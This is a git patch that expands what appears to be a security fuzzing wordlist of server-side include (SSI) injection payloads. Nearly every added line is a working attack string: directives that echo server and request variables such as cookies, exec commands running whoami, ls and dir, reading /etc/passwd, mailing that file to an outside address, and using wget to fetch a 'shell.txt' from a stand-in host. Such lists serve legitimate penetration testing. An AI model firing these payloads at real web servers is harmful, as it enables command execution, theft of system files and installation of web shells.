From 8ae928dc58e7eb5a651113f25177a8a603747a49 Mon Sep 17 00:00:00 2001
From: Adam Muntner <unix23@gmail.com>
Date: Wed, 9 Mar 2016 19:00:51 -0500
Subject: [PATCH] Update server-side-includes-generic.fuzz.txt

---
 .../server-side-includes-generic.fuzz.txt     | 74 +++++++++++++++++++
 1 file changed, 74 insertions(+)

diff --git a/attack/server-side-include/server-side-includes-generic.fuzz.txt b/attack/server-side-include/server-side-includes-generic.fuzz.txt
index e57800e..0ea78ca 100644
--- a/attack/server-side-include/server-side-includes-generic.fuzz.txt
+++ b/attack/server-side-include/server-side-includes-generic.fuzz.txt
@@ -1,4 +1,78 @@
+<!--#config errmsg="File not found, informs users and password"-->
+<!--#config timefmt="A %B %d %Y %r"-->
+<!--#echo var="auth_type" -->
+<!--#echo var="content_length" -->
+<!--#echo var="content_type" -->
+<!--#echo var="date_gmt" -->
+<!--#echo var="date_local" -->
+<!--#echo var="DATE_LOCAL" -->
+<!--#echo var="document_name" -->
+<!--#echo var="DOCUMENT_NAME" -->
+<!--#echo var="document_root" -->
+<!--#echo var="document_uri" -->
+<!--#echo var="DOCUMENT_URI" -->
+<!--#echo var="forwarded" -->
+<!--#echo var="from" -->
+<!--#echo var="gateway_interface" -->
+<!--#echo var="http_accept" -->
+<!--#echo var="http_accept_charset" -->
+<!--#echo var="http_accept_encoding" -->
+<!--#echo var="http_accept_language" -->
+<!--#echo var="http_client_ip" -->
+<!--#echo var="http_connection" -->
+<!--#echo var="http_cookie" -->
+<!--#echo var="http_form" -->
+<!--#echo var="http_host" -->
+<!--#echo var="http_referer" -->
+<!--#echo var="http_ua_cpu" -->
+<!--#echo var="http_ua_os" -->
+<!--#echo var="http_user_agent" -->
+<!--#echo var="last_modified" -->
+<!--#echo var="netsite_root" -->
+<!--#echo var="page_count" -->
+<!--#echo var="path" -->
+<!--#echo var="path_info" -->
+<!--#echo var="path_info_translated" -->
+<!--#echo var="path_translated" -->
+<!--#echo var="query_string" -->
+<!--#echo var="query_string_unescaped" -->
+<!--#echo var="remote_addr" -->
+<!--#echo var="remote_host" -->
+<!--#echo var="remote_ident" -->
+<!--#echo var="remote_port" -->
+<!--#echo var="remote_user" -->
+<!--#echo var="request_method" -->
+<!--#echo var="request_uri" -->
+<!--#echo var="script_filename" -->
+<!--#echo var="script_name" -->
+<!--#echo var="script_uri" -->
+<!--#echo var="script_url" -->
+<!--#echo var="server_addr" -->
+<!--#echo var="server_admin" -->
+<!--#echo var="server_name -->
+<!--#echo var="server_port" -->
+<!--#echo var="server_protocol" -->
+<!--#echo var="server_software" -->
+<!--#echo var="site_htmlroot" -->
+<!--#echo var="total_hits" -->
+<!--#echo var="tz" -->
+<!--#echo var="unique_id" -->
+<!--#echo var="user_name" -->
+<!--#exec cmd="/bin/ls /" -->
 <!--#exec cmd="/bin/ls /" --><br/>
 <!--#exec cmd="cat /etc/passwd" --><br/>
+<!--#exec cmd="cd C:\WINDOWS\System32">
+<!--#exec cmd="dir" -->
 <!--#exec cmd="find / -name *.* -print" --><br/>
+<!--#exec cmd="ls" -->
 <!--#exec cmd="mail email@dom.tld <mailto:email@dom.tld> < cat /etc/passwd" --><br/>
+<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
+<!--#exec cmd="whoami"-->
+<!--#flastmod virtual="echo.html" -->
+<!--#fsize file="ssi.shtml" -->
+<!--#include file=?UUUUUUUU...UU?-->
+<!--#printenv -->
+<pre><!--#echo var="DATE_LOCAL" --> </pre>
+<pre><!--#exec cmd="dir" --></pre>
+<pre><!--#exec cmd="ls" --></pre>
+<pre><!--#exec cmd="whoami"--></pre>